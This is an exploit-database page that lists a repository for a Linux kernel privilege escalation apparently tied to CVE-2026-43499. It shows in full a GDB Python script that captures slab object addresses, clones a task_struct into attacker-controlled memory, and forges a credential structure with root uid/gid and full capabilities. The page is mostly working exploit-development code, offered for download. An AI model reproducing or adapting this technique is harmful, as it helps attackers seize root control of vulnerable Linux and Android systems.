Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
170 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- disasm/
- disasm_clang/
- glA/
- glB/
- glC/
- NOTES_crosscache.md
- NOTES_geometry.md
- adb_watch.ps1
- adb_watch2.ps1
- adj_tail.log
- alpine-armv7.tgz
- base_io.sh
- boot_foreground.sh
- boot_io.sh
- bpf_probe.sh
- build_2602.sh
- build_bpf.sh
- build_clang.sh
- build_dbg.sh
- build_go21.sh
- build_go27.sh
- build_initramfs_clang.sh
- build_io.sh
- build_io_initramfs.sh
- build_kernel_uffd.sh
- build_ks.sh
- build_liburing.sh
- build_lpe.sh
- build_vendorlike.sh
- build_vtest.sh
- capture_read.py
- capture_read5.py
- cc2.log
- cc3.log
- cc4.log
- cc_driver.py
- cc_probe.py
- check_s4.py
- chk72.gdb
- chk72.py
- chk_init.sh
- chk_mm.py
- clang_more_syms.sh
- clang_syms.sh
- cleanup_conns.sh
- clk32lin_full.log
- clk64_full.log
- clk_full.log
- clk_sattr.log
- clk_wide.log
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/fake_task.py
Python · 2,043 bytesimport gdb, struct, time
inf=gdb.selected_inferior()
def rd(a,n): return inf.read_memory(a,n).tobytes()
def wr(a,b): inf.write_memory(a,bytes(b))
def w32(a,v): wr(a,struct.pack('<I',v&0xffffffff))
def rd32(a): return struct.unpack('<I',rd(a,4))[0]
bp=gdb.Breakpoint('load_msg')
ptrs=[]; tries=0
while len(ptrs)<64 and tries<90:
tries+=1
gdb.execute('continue'); gdb.execute('finish')
r0=int(gdb.parse_and_eval('$r0'))&0xffffffff
if 0xc0000000<=r0<0xf8000000: ptrs.append(r0)
bp.delete()
print('captured',len(ptrs))
# find contiguous run of 5 same-page objects (stride 0x200)
ps=sorted(set(ptrs))
run=None
for i in range(len(ps)-4):
if all(ps[i+k+1]-ps[i+k]==0x200 and (ps[i+k]>>12)==(ps[i]>>12) for k in range(4)):
run=ps[i:i+5]; break
print('run',[hex(x) for x in run] if run else None)
base=run[0]
# locate faketask task
toff=int(gdb.parse_and_eval('(unsigned long)&((struct task_struct*)0)->tasks'))
coff=int(gdb.parse_and_eval('(unsigned long)&((struct task_struct*)0)->comm'))
init=int(gdb.parse_and_eval('(unsigned long)&init_task'))
t=rd32(init+toff); real=None
for i in range(300):
task=t-toff
try: comm=rd(task+coff,10).split(b'\0')[0].decode('latin1')
except: comm=''
if comm.startswith('faketask'): real=task; break
t=rd32(t)
print('REAL TASK=%08x'%real)
stack=rd32(real+4); cred=rd32(real+0x3f8)
print('stack=%08x cred=%08x'%(stack,cred))
# clone task 0x640
wr(base, rd(real,0x640))
# fake cred in 5th object
fc=run[4]
wr(fc, rd(cred,0x7c))
w32(fc+0,0x100) # usage (survive repeated puts)
for off in (4,8,0xc,0x10,0x14,0x18,0x1c,0x20): w32(fc+off,0) # uid/gid words
for off in (0x28,0x30,0x38,0x40): w32(fc+off,0xffffffff); w32(fc+off+4,0xffffffff)
# point cloned task real_cred/cred -> fake cred; stack stays real
w32(base+0x3f4, fc)
w32(base+0x3f8, fc)
w32(base+4, stack)
w32(base+0x4a0, 0) # pi_blocked_on
# swap current
w32(stack+0xc, base)
print('FAKETASK installed base=%08x fakecred=%08x thread_info.task written'%(base,fc))
gdb.execute('detach'); gdb.execute('quit')